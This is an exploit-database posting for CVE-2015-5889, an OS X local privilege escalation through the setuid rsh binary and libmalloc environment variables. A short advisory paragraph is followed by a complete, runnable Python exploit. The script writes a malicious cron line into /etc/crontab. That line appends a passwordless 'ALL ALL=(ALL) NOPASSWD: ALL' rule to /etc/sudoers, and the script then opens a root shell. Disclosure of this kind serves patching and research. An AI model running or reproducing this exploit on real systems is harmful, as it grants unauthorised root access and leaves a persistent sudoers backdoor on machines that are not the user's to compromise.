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issetugid() + rsh + libmalloc OS X Local Root

issetugid() + rsh + libmalloc OS X Local Root
Posted Oct 3, 2015
Authored by Philip Pettersson

The default root-suid binary /usr/bin/rsh on Mac OS X uses execv() in an insecure manner. /usr/bin/rsh will invoke /usr/bin/rlogin if launched with only a host argument, without dropping privileges or clearing the environment. This exploit will pass "MallocLogFile" to /usr/bin/rsh, which is then passed on to rlogin and interpreted by libmalloc to create a root-owned file with partially controlled contents at /etc/crontab which gives a rootshell via sudo. Tested on 10.9.5 / 10.10.5 but it most likely works on much older versions too.

tags | exploit, root
systems | apple, osx
advisories | CVE-2015-5889
MD5 | 81acf0e43a571e81418379cca28b84a9

issetugid() + rsh + libmalloc OS X Local Root

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# CVE-2015-5889: issetugid() + rsh + libmalloc osx local root
# tested on osx 10.9.5 / 10.10.5
# jul/2015
# by rebel

import os,time,sys

env = {}

s = os.stat("/etc/sudoers").st_size

env['MallocLogFile'] = '/etc/crontab'
env['MallocStackLogging'] = 'yes'
env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n'

sys.stderr.write("creating /etc/crontab..")

p = os.fork()
if p == 0:
os.close(1)
os.close(2)
os.execve("/usr/bin/rsh",["rsh","localhost"],env)

time.sleep(1)

if "NOPASSWD" not in open("/etc/crontab").read():
sys.stderr.write("failed\n")
sys.exit(-1)

sys.stderr.write("done\nwaiting for /etc/sudoers to change (<60 seconds)..")

while os.stat("/etc/sudoers").st_size == s:
sys.stderr.write(".")
time.sleep(1)

sys.stderr.write("\ndone\n")

os.system("sudo su")

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